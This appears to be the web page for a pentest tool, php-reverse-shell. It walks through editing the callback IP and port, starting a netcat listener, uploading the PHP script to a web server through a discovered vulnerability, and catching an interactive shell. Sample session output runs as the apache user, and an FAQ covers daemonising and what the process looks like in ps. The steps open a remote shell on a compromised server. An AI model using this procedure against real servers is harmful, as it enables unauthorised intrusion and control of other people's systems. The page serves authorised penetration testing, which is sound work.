php-reverse-shell

This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PHP.  Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser.  The script will open an outbound TCP connection from the webserver to a host and port of your choice.  Bound to this TCP connection will be a shell.

This will be a proper interactive shell in which you can run interective programs like telnet, ssh and su.  It differs from web form-based shell which allow you to send a single command, then return you the output.

Download

[php-reverse-shell-1.0.tar.gz](http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz)

MD5sum:2bdf99cee7b302afdc45d1d51ac7e373

SHA1sum: 30a26d5b5e30d819679e0d1eb44e46814892a4ee

Video

I stumbled across this [video](http://www.youtube.com/watch?v=A0Ks4MfhVIE) someone made of php-reverse-shell.

*Update 2011-11: Imax sent me a link to his tool [fimap](http://code.google.com/p/fimap/) which uses php-reverse-shell.  Looks cool.*

Walk Through

Modify the source

To prevent someone else from abusing your backdoor – a nightmare scenario while pentesting – you need to modify the source code to indicate where you want the reverse shell thrown back to.  Edit the following lines of php-reverse-shell.php:

$ip = '127.0.0.1'; // CHANGE THIS

$port = 1234; // CHANGE THIS

Get Ready to catch the reverse shell

Start a TCP listener on a host and port that will be accessible by the web server.  Use the same port here as you specified in the script (1234 in this example):

$ nc -v -n -l -p 1234

Upload and Run the script

Using whatever vulnerability you’ve discovered in the website, upload php-reverse-shell.php.  Run the script simply by browsing to the newly uploaded file in your web browser (NB: You won’t see any output on the web page, it’ll just hang if successful):

http://somesite/php-reverse-shell.php

Enjoy your new shell

If all went well, the web server should have thrown back a shell to your netcat listener.  Some useful commans such as w, uname -a, id and pwd are run automatically for you:

$ nc -v -n -l -p 1234

listening on [any] 1234 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012

Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86\_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux

16:59:28 up 39 days, 19:54, 2 users, load average: 0.18, 0.13, 0.10

USER TTY LOGIN@ IDLE JCPU PCPU WHAT

root :0 19May07 ?xdm? 5:10m 0.01s /bin/sh

uid=81(apache) gid=81(apache) groups=81(apache)

sh: no job control in this shell

sh-3.2$

FAQs

When is this useful?

Perhaps the only areas on disk that you have write access to are mounted with the “noexec” option.  Uploading a compiled program will be of no use in these situations.  You need to use an installed scripting language like Python, PERL, PHP, etc.  
Perhaps you just can’t be bothered to upload a second program.

Isn’t the shell connection just going to be severed when the web server times out the PHP script?

No.  It doesn’t seem to on the systems that I’ve tested it on (Gentoo Linux only so far).  Additionally the PHP script attempts to daemonise itself and dissociate from the parent process to avoid this (though it rarely works in practise).  Your browser will appear to hang when you access the reverse shell.  This is normal.  It’s OK to hit cancel in your browser once you’ve got your shell.

Isn’t there going to be a rather suspicious looking shell process when the admin runs “ps”?

Yeah.  This version of the reverse shell isn’t very subtle:

apache 28106 0.0 0.0 10428 1216 ? S 17:15 0:00 sh -c uname -a; w; id; /bin/sh -i

apache 28110 0.0 0.0 10172 1428 ? S 17:15 0:00 /bin/sh -i

Is this page available in Serbo-Croatian?

Yes. [Thanks to Jovana Milutinovich for translating](http://science.webhostinggeeks.com/php-obrnute-ljusture).